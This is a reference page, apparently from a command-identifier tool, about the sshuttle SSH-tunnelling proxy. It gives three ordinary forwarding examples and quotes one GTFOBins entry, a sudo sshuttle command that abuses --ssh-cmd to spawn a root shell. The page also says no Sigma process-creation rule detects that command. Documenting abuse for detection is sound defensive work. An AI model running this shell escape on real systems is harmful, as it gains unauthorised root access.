Identifier / Programs / Linux and Unix
sshuttle
Transparent proxy server that tunnels traffic over an SSH connection. Doesn't require root or any special setup on the remote SSH server, though root access on the local machine is prompted for. tldr-pages
GTFOBins shell 1 ATT&CK technique 1 documented command
How sshuttle is abused
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for sshuttle.
1 documented command
shell with sudo
sudo sshuttle -r x --ssh-cmd '/bin/sh -c "/bin/sh 0<&2 1>&2"' localhostThe command the identifier reads trips no Sigma process-creation rule. This command is from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for sshuttle. The identifier reads the line that runs sshuttle.
What detects it
Everyday use
Forward all IPv4 TCP traffic via a remote SSH server
sshuttle --remote username@sshserver 0.0.0.0/0IdentifyAlso forward all DNS traffic to the server's default DNS resolver
sshuttle --dns --remote username@sshserver 0.0.0.0/0IdentifyForward all traffic except that which is bound for a specific subnet
sshuttle --remote username@sshserver 0.0.0.0/0 --exclude 192.168.0.1/24IdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.